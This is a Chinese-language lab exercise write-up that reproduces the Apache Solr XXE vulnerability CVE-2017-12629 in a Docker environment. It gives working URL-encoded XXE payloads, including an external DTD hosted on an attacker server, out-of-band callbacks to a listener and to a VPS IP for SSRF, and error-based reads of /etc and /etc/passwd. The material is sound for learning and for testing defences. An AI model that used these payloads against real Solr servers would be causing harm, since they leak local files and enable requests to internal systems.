实验要求

漏洞环境:Apache solr XXE漏洞(CVE-2017-12629)

  1. 复现环境中的XXE漏洞,截图证明
  2. 利用XXE漏洞发送HTTP请求,在VPS服务器接收请求,或收到DNS记录。(SSRF利用)
  3. 利用XXE漏洞读取本地的 /etc/passwd文件。(文件读取利用)

靶场搭建

进入漏洞文件目录下,运行漏洞环境:

docker compose up -d

命令执行成功后,需要等待一会,之后访问http://your-ip:8983/即可查看到Apache solr的管理页面,无需登录。

漏洞复现

XXE漏洞原理

一般情况下,有些网站会支持XML-RPC(XML Remote Procedure Call),用户提交数据格式如下:

POST /xxe HTTP/1.1
Host: aaa.com
Content-Type: text/xml
<?xml version="1.0"?>
<student>
<useername>xxx</username>
<password>yyy</password>
<address>zzz</address>
</student>

攻击者可通过插入DTD标签来读取文件:

POST /xxe HTTP/1.1
Host: aaa.com
Content-Type: text/xml
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<student>
<useername>xxx</username>
<password>yyy</password>
<address>zzz</address>
</student>

XXE漏洞复现

构造payload:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://192.168.137.1:6666">%remote;]><root/>&wt=xml&defType=xmlparser

将其进行url编码

发送的http包

GET /solr/demo/select?q=<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[<!ENTITY+%25+remote+SYSTEM+"http%3a//192.168.137.1%3a6666">%25remote%3b]><root/>&wt=xml&defType=xmlparser HTTP/1.1
Host: 192.168.37.128:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: mLvnBZTNP4mtS=5Z6BRWE9ckgj5fVytACBSQ8aUystMk7Xqg5ADwRXx9DCR4ti2XwAEqlXYac1OobPa1mooZWhy38M7.LkRxVTZoq; _xsrf=2|cc5a6916|387e0088d1426ad0f563ffb88c9227eb|1700298115
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0
Referer: www.google.com

在宿主机的cmd窗口输入python -m http.server 6666或者nc -lvp 6666

监听6666端口

将构造的http请求发送

由于这是blind XXE,页面不会回显,但刚刚创建的http服务器可以收到请求

使用nc监听也可以收到java请求,内容更详细

接下来利用Error Based XXE读取文件

首先在宿主机www目录下新建1.dtd,写入下面内容读取/etc文件夹内容:

<!ENTITY % file SYSTEM "file:///etc">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

构造payload:

<?xml version="1.0" ?><!DOCTYPE root[<!ENTITY % ext SYSTEM "http://192.168.137.1:8888/1.dtd">%ext;%ent;]><r>&data;</r>&wt=xml&defType=xmlparser

将payload进行url编码:

发送请求后,成功读取到/etc文件夹内容

SSRF利用(VPS接收请求)

基于漏洞复现中的内容,直接构造payload:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://47.109.111.193:6666">%remote;]><root/>&wt=xml&defType=xmlparser

将payload进行url编码:

发送请求后,在VPS服务器上接收到请求

读取/etc/passwd

1.dtd中的内容改成:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

构造payload:

<?xml version="1.0" ?><!DOCTYPE root[<!ENTITY % ext SYSTEM "http://192.168.137.1:8888/1.dtd">%ext;%ent;]><r>&data;</r>&wt=xml&defType=xmlparser

将payload进行url编码:

发送请求,成功读取etc/passwd